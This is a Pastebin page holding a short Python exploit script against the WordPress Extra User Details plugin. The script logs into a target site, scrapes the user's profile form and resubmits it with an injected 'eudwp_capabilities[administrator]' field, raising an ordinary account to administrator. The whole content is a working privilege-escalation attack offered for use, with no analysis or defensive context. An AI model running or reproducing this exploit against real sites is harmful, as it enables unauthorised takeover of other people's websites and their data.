Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # !/usr/bin/python3
- ################################################################################
- # Extra User Details Privilege Escalation Exploit
- #
- # Re Coded = http://facebook.com/stevanus.evo
- #
- # Dependencies: BeautifulSoup
- ################################################################################
- import requests
- from bs4 import BeautifulSoup
- import sys
- target = sys.argv[1]
- if not target.startswith("http"):
- target = "http://" + target
- if target.endswith("/"):
- target = target[:-1]
- loginUrl = target + '/wp-login.php'
- profileUrl = target + '/wp-admin/profile.php'
- loginPostData = {
- 'log': 'username',
- 'pwd': 'password',
- 'rememberme': 'forever',
- 'wp-submit': 'Log+In'
- }
- s = requests.Session()
- r = s.post(loginUrl, loginPostData)
- if r.status_code != 200:
- print('Login error')
- exit(1)
- r = s.get(profileUrl)
- soup = BeautifulSoup(r.text, 'html.parser')
- f = soup.find('form', {'id': 'your-profile'})
- if not f:
- print('Error')
- exit(1)
- data = {
- 'eudwp_capabilities[administrator]': 1,
- }
- for i in f.find_all('input'):
- if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']:
- data[i.attrs['name']] = i.attrs['value']
- r = s.post(profileUrl, data)
- if r.status_code == 200:
- print('Success')
- exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement